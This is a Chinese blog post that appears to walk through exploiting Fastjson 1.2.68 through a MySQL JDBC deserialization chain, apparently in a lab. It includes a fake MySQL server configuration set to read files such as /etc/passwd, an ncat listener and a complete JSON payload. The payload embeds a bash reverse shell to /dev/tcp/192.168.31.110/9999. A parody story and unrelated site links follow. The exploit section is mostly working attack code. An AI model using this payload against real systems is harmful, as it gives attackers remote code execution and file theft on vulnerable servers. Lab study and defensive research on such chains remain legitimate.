fastjson 1268-jdbc yakit渗透
如题要打jdbc。具体怎么查看往期文章0x00 信息收集确定fastjson版本1.2.68查不在黑名单的类100个查敏感依赖20个。其中可以看到com.mysql.cj.protocol.AuthenticationProvider表明使用mysql-connect-8.0.x参照这个表去辨别类名 (Class Name)对应的 JDBC 驱动版本com.mysql.jdbc.Buffer3.0.x - 5.1.xcom.mysql.cj.api.authentication.AuthenticationProvider8.0.9-rccom.mysql.cj.protocol.AuthenticationProvider8.0.x - 9.0.xcom.mysql.jdbc.JDBC4Connection5.1.21及部分5.1.xcom.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection8.0.31及9.0.0但是具体是什么版本就不好说了只能试探性地尝试。这边用java chains自带的8.0.20测试了一下发现不行。于是搜罗了一下教程最后得知镜像是8.0.19的这你扯不扯。0x01 恩情ysoserial墙件fastjson要用到支持fastjson链的改版ysoserial和改版的MySQL_Fake_Server首先配置MySQL_Fake_Server就改前两个ysoserial和java8的路径就好{ config:{ ysoserialPath:/path/to/your/ysoserial-0.0.6-SNAPSHOT-all.jar, javaBinPath:/path/to/your/jdk8/java, fileOutputDir:./fileOutput/, displayFileContentOnScreen:true, saveToFile:true }, fileread:{ win_ini:c:\\windows\\win.ini, win_hosts:c:\\windows\\system32\\drivers\\etc\\hosts, win:c:\\windows\\, linux_passwd:/etc/passwd, linux_hosts:/etc/hosts, index_php:index.php, ssrf:https://www.baidu.com/, __defaultFiles:[/etc/hosts,c:\\windows\\system32\\drivers\\etc\\hosts] }, yso:{ Jdk7u21:[Jdk7u21,calc] } }推荐使用python3.10运行python3 server.pync监听ncat -lvnp 9999然后构造请求包并发送{ type: java.lang.AutoCloseable, type: com.mysql.cj.jdbc.ha.ReplicationMySQLConnection, proxy: { type: com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy, connectionUrl: { type: com.mysql.cj.conf.url.ReplicationConnectionUrl, masters: [ { host: 192.168.31.110 } ], slaves: [], properties: { host: 192.168.31.110, user: yso_Fastjson1_bash -i /dev/tcp/192.168.31.110/9999 01, dbname: dbname, password: pass, queryInterceptors: com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor, autoDeserialize: true, allowLoadLocalInfile: true } } } }最后也是轻松连上了最后附赠小剧场从Jackson访问回来金爷爷全然不顾身体的疲惫连夜找我们几个小标兵商量儿童日的安排。 谈得晚了金爷爷便送我们出门要司机送我们回家。 在去大门口的路上我们说 “金爷爷您回去休息吧。您刚从中国回来。” 金爷爷摇摇头 “不碍事。” “你们知道现在国际网络空间并不安宁。有很多系统把未知的危险藏在自己的内部而你们是未来的安全研究者你们学习漏洞、理解攻击链就是为了守护这个世界。” 我们都激动了眼里噙着泪花。 多好的金爷爷呀。 --- 金爷爷抬头看看天空。 “如果整个网络世界真的像这片天空一样安静就好了。” “可是总有一些隐藏的东西在无人注意的地方运行。” 说着金爷爷弯下腰从地上捡起一块写着 Fastjson 1.2.68 的碎片。 他仔细端详了一会儿又看向天空。 “这个东西已经在那里很久了。” “它伪装成普通的数据卫星却一直等待着有人向它发送特殊的信号。” 小标兵们顺着他的目光望去。 果然在遥远的天空中有一颗闪烁着光芒的卫星。 它的名字叫 Fastjson-1.2.68 间谍卫星。 --- 金爷爷微微一笑。 他从口袋里拿出了一个小盒子。 盒子上写着 ysoserial 他说 “这是我多年研究出来的链路制造器。” “它不是为了伤害无辜的人而是为了告诉大家一个错误的信任会造成什么后果。” 说完金爷爷轻轻启动了盒子。 一道无形的链路飞向天空。 穿过层层防护。 连接到了那颗间谍卫星。 卫星内部开始闪烁。 原来这颗卫星并不是独立运行。 它背后还隐藏着一个秘密能源核心 mysql-connect-8.0.19。 --- 很快天空中传来一道耀眼的光芒。 Fastjson间谍卫星突然开始失控。 “轰——” 它从天空中坠落下来。 小朋友们都鼓起掌来。 为金爷爷拥有如此强大的链路分析能力感到自豪。 --- 一会儿金爷爷叫来秘书。 问 “那颗卫星最后落在哪里了” 秘书查看报告 “好像落到了龙川服务器区域。” 金爷爷脸色一变。 “马上派人去检查。” “看看有没有造成不必要的问题。” --- 第四天我们听说龙川服务器发生了一些异常。 大家都很紧张。 这时金爷爷叫我们过去。 他依然那么慈祥让我们坐下。 他说 “任何技术都有两面性。” “攻击链可以帮助人发现问题也可能造成伤害。” 说着他低下头 “但我必须承认当初研究这条链路的时候我只想着证明卫星存在漏洞却没有第一时间想到所有可能受到影响的地方。” “这是我的失误。” “我会向大家说明情况。” --- 我们顿时热泪盈眶。 多好的金爷爷呀。 他在探索漏洞的过程中即使拥有强大的力量也愿意承认自己的不足。 从那以后我们学习 ysoserial研究 Fastjson分析 MySQL Connector/J 的时候都记住了金爷爷的话 真正强大的链路制造者 不是能够击落多少卫星的人 而是能够提前发现卫星危险并保护所有人的人。

相关新闻

华为入局墨水屏:从驱动算法到鸿蒙生态的全链路革新

华为入局墨水屏:从驱动算法到鸿蒙生态的全链路革新

1. 项目概述:当“搅局者”遇上“慢科技” “华为搅局墨水屏”,这个标题最近在数码圈和硬件开发者社区里传得挺热。作为一名长期关注显示技术和嵌入式开发的从业者,我第一眼看到这个组合,就觉得这事儿不简单。它不像是一个具体的产…

2026/8/3 7:48:38 阅读更多
Python爬虫构建个性化书籍推荐系统的工程实践

Python爬虫构建个性化书籍推荐系统的工程实践

1. 项目概述:基于Python爬虫的个性化书籍推荐系统 这个毕业设计项目是一个典型的"大数据推荐系统"实践案例,核心是通过Python爬虫技术构建书籍数据库,再结合用户行为数据实现个性化推荐。我在实际开发中发现,这类系统最…

2026/8/3 7:48:38 阅读更多
共享单车大数据分析实战:从GPS数据处理到可视化展示

共享单车大数据分析实战:从GPS数据处理到可视化展示

1. 项目概述:共享单车大数据分析实战去年帮学弟调试这个共享单车数据分析项目时,我们发现原始数据里藏着许多有意思的规律。这个基于Python技术栈的开源项目,完整实现了从原始GPS数据清洗到可视化展示的全流程,特别适合作为大数据…

2026/8/3 7:48:38 阅读更多
【AI绘画副业变现SOP】:7步标准化交付流程,单图溢价300%的客户沟通话术与合同范本(含法律风险预警)

【AI绘画副业变现SOP】:7步标准化交付流程,单图溢价300%的客户沟通话术与合同范本(含法律风险预警)

更多请点击: https://kaifayun.com 第一章:AI绘画副业变现的底层逻辑与市场定位 AI绘画副业并非单纯依赖技术工具的“一键生成”,其可持续变现能力根植于供需错位、边际成本趋零与注意力经济三重底层逻辑。当专业设计服务单价高企&#xff0…

2026/8/3 12:48:48 阅读更多
3分钟搞定!QQ空间历史说说完整备份终极指南

3分钟搞定!QQ空间历史说说完整备份终极指南

3分钟搞定!QQ空间历史说说完整备份终极指南 【免费下载链接】GetQzonehistory 获取QQ空间发布的历史说说 项目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory 你是否曾想过,那些年发过的QQ空间说说,那些记录青春的文字…

2026/8/2 0:04:01 阅读更多
AMAT 0100-02186 I/O 分配 PCB

AMAT 0100-02186 I/O 分配 PCB

AMAT 0100-02186 I/O分配PCB板是应用材料(Applied Materials)公司生产的一款用于半导体设备的I/O信号分配电路板。该型号(0100-02186)的核心特点如下:专用于Endura等半导体工艺腔室。集成信号路由与分配功能。连接控制…

2026/8/2 2:51:21 阅读更多
Nissei Corp FFMN-32L-10-T0 40AX 三相异步电动机

Nissei Corp FFMN-32L-10-T0 40AX 三相异步电动机

Nissei Corp FFMN-32L-10-T0 40AX 三相异步电动机是日本日清(Nissei)品牌的一款工业用三相异步电机,适用于自动化设备及通用机械驱动。该型号(FFMN-32L-10-T0 40AX)的核心特点如下:三相交流异步电动机。额定…

2026/8/2 2:52:49 阅读更多